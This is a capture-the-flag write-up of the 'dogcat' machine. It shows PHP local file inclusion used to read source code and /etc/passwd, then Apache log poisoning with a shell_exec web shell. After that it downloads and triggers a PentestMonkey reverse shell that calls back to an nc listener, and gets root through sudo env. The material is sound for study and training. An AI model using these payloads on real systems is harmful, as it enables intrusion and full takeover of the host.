Remote Code Execution With LFI

My Rating: Easy
Operating System: Linux


We will execute arbitrary commands and even gain remote shell access using nothing but Local File Inclusion (LFI) by exploiting the include function in PHP.
The CTF machine used for this post can be found here.


A quick Nmap scan shows the following ports open on the victim machine:

# Nmap 7.80 scan initiated Thu May 28 17:04:52 2020 as: nmap -sCV -oA nmap/dogcat
Nmap scan report for
Host is up (0.078s latency).
Not shown: 998 closed ports
22/tcp open  ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 24:31:19:2a:b1:97:1a:04:4e:2c:36:ac:84:0a:75:87 (RSA)
|   256 21:3d:46:18:93:aa:f9:e7:c9:b5:4c:0f:16:0b:71:e1 (ECDSA)
|_  256 c1:fb:7d:73:2b:57:4a:8b:dc:d7:6f:49:bb:3b:d0:20 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: dogcat
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/
# Nmap done at Thu May 28 17:05:44 2020 -- 1 IP address (1 host up) scanned in 52.06 seconds

Looks like the machine has OpenSSH running (port 22) and the banner tells us we are dealing with Ubuntu Linux. There is also an Apache server running (port 80) so we will poke at that first.



Upon loading the webpage we are met with ‘dog’ and ‘cat’ buttons that display an image of a dog/cat depending on the users input.

That’s about it, before busting the website for directories and files lets talk about the URL.
Keep in mind I added index.php to verify that the web server is running PHP. When we click on the dog button the view parameter is set to ‘dog’ and the same goes for clicking on the cat button.

Knowing all of this it is very likely that the webpage is using the PHP function ‘include’ which is typically used to put data of one PHP file into another PHP file.
Here is where Local File Inclusion (LFI) comes in. An attacker could use this file inclusion to read arbitrary files and possibly execute commands on the remote machine. Since we know that this is a Linux machine, let’s try include the /etc/passwd file. This text file contains basic information about each user/account on the machine.
By default this file is world readable meaning any user can read it making it a prime target when confirming an LFI vulnrability. We can do this by setting the view parameter to ‘/etc/passwd’:

However, we are met with the following error message.

Judging by the error message it is possible that the URL must contain ‘dog’ or ‘cat’. We can easily bypass this by adding dog or cat to our path. Remember the path has to be valid.

We get another error message specifying that there is no ‘/etc/passwd.php’ file. We did not append .php to our request so it looks like the web server is doing that.

Let’s try reading the ‘index.php’ file and find out what this code is doing exactly. There is just one obstacle we need to overcome; when we include a .php file we wont be able to see the actual PHP code since it runs on the server. A way around this is to use a handy PHP wrapper to base64 encode the file which we can decode later on.
Since the base64 output will be lengthy we can use cURL from the terminal.

root@crab:~# curl

    <link rel="stylesheet" type="text/css" href="/style.css">

    <i>a gallery of various dogs or cats</i>

        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        Here you go!

I have pasted the raw base64 below as well in case you want to copy-paste it.


We can now decode it and read the source code. I saved it to a file called index.php to remain organized.

root@crab:~# echo -n 'PCFET0NUWVBFIEhUTUw+CjxodG1sPgoKPGhlYWQ+CiAgICA8dGl0bGU+ZG9nY2F0PC90aXRsZT4KICAgI[9/9]
Cg==' | base64 -d > index.php

root@crab:~# cat index.php
        <h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat">
        <button id="cat">A cat</button></a><br>
            function containsStr($str, $substr) {
                return strpos($str, $substr) !== false;
            $ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';
            if(isset($_GET['view'])) {
                if(containsStr($_GET['view'], 'dog') || containsStr($_GET['view'], 'cat')) {
                    echo 'Here you go!';
                    include $_GET['view'] . $ext;
                } else {
                    echo 'Sorry, only dogs or cats are allowed.';

The following line is particularly interesting; similar to the ‘view’ parameter there is an ‘ext’ parameter that specifies the file extention and if it is not set then it will be .php by default. This explains why .php is appended to all file requests.

$ext = isset($_GET["ext"]) ? $_GET["ext"] : '.php';

To bypass this we just set the ‘ext’ parameter as empty. Just like before we will use cURL and dump the /etc/passwd file.

root@crab:~# curl ''
<h2>What would you like to see?</h2>
        <a href="/?view=dog"><button id="dog">A dog</button></a> <a href="/?view=cat"><button id="cat">A cat</button></a><br>
        Here you go!
list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologin
gnats:x:41:41:Gnats Bug-Reporting System (admin):/var/lib/gnats:/usr/sbin/nologin

Done! Let’s try execute commands and gain access.

Gaining access


Since we have a consistent way to view files, we can enumerate and find a way to execute commands on the victim machine.
If you remember from the Nmap scan the website is being hosted on an Apache web server which by default has an access log. Let’s try print it out to make sure it exists. The default location is ‘/var/log/apache2/access.log’ and remember to specify an empty ‘ext’ parameter.

root@crab:~# curl '' - - [07/Aug/2020:13:55:35 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                           - - [07/Aug/2020:13:56:06 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:13:56:36 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:13:57:06 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                           - - [07/Aug/2020:13:57:37 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:13:58:07 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                           - - [07/Aug/2020:13:58:37 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:13:59:08 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                           - - [07/Aug/2020:13:59:38 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:14:00:09 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                           - - [07/Aug/2020:14:00:39 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:14:01:09 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:14:01:40 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                           - - [07/Aug/2020:14:02:10 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:14:02:40 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                   - - [07/Aug/2020:14:03:11 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0" - - [07/Aug/2020:14:03:41 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                            - - [07/Aug/2020:14:04:11 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"                                           - - [07/Aug/2020:14:04:42 +0000] "GET / HTTP/1.1" 200 615 "-" "curl/7.64.0"

Notice how the User-Agent is being logged as well? In this case it is ‘curl/7.64.0’ but it depends on how you access the website. For example, if I access the website with Mozilla Firefox this is how it would look:

... "GET /index.pho HTTP/1.1" 404 492 "-" "Mozilla/5.0 (X11; Linux x86_64; rv:68.0) ...

Knowing this, we can intercept our request using Burp and replace the User-Agent variable in the header with PHP code. The following is the PHP code we will inject.
This is how it works for those who do not know much PHP:

<?php echo shell_exec($_GET['cmd']) ?>

Launching burp and turning on intercept we can intercept any request and easily change the User-Agent variable.

Now our malicious PHP code should be sitting comfortably in the log file so we can dump it again but this time specify the ‘cmd’ parameter with a command we wish to execute.
To verify that it works we will try the ‘whoami’ command first which will print the current user.

root@crab:~# curl ''
... - - [07/Aug/2020:14:31:17 +0000] "GET /index.php HTTP/1.1" 200 500 "-" "www-data"

Notice how our User-Agent no longer says cURL or Mozilla? We executed the ‘whoami’ command as the www-data user! Let’s go ahead and download a malicious PHP reverse shell.
PentestMonkey has a good PHP reverse shell that we can use. Note this is not the most subtle option but it works well.
This will need to be modified by changing the IP variable to our IP address, same goes to the port. Remember to keep firewall in mind when choosing a port.

set_time_limit (0);
$VERSION = "1.0";
$ip = '';  // CHANGE THIS
$port = 53;       // CHANGE THIS
$chunk_size = 1400;
$write_a = null;
$error_a = null;
$shell = 'uname -a; w; id; /bin/sh -i';
$daemon = 0;
$debug = 0;

We will use Python’s Simple HTTP Server to host our modified PHP reverse shell so that it can be downloaded onto the victim machine.

root@crab:~# ls -l; python3 -m http.server 80
total 4
-rw-r--r-- 1 root root 3457 Aug  7 11:52 rev.php
Serving HTTP on port 80 ( ...

And finally just like we executed the ‘whoami’ command we will now execute cURL to download the reverse shell from our machine.

root@crab:~# curl ' > rev.php'

We can confirm the file downloaded by checking our Python Simple HTTP Server logs and looking for a GET /rev.php request with the victim machine IP address.

Serving HTTP on port 80 ( ... - - [07/Aug/2020 12:16:52] "GET /rev.php HTTP/1.1" 200 -

Now all that’s left is to listen for incoming connections on port 53.

root@crab:~# rlwrap nc -lnvp 53
listening on [any] 53 ...

And execute the uploaded rev.php file

root@crab:~# curl ''
connect to [] from (UNKNOWN) [] 37260
Linux 86fbd7fbd6ce 4.15.0-96-generic #97-Ubuntu SMP Wed Apr 1 03:25:46 UTC 2020 x86_64 GNU/Linux
 16:21:53 up  2:40,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
/bin/sh: 0: can't access tty; job control turned off
$ whoami && id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Great! We finally have a reverse shell using nothing but LFI.

Privilage Escalation


Now that we have www-data, we have a very low privilage so we should try get the root (Admin) account. If we list what commands www-data can execute as root we get /usr/bin/env.

$ sudo -l
Matching Defaults entries for www-data on 86fbd7fbd6ce:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

User www-data may run the following commands on 86fbd7fbd6ce:
    (root) NOPASSWD: /usr/bin/env

Exploiting this is very straight forward since we can pass a command as an argument. In this case we will pass ‘bash’ and spawn a root shell.

$ sudo /usr/bin/env bash
whoami && id
uid=0(root) gid=0(root) groups=0(root)

That’s it :)


A simple machine that shows how LFI does not only allow attackers to read files, it’s much more dangerous than that. As for the root part? Not something you would find in a real life scinario but still interesting.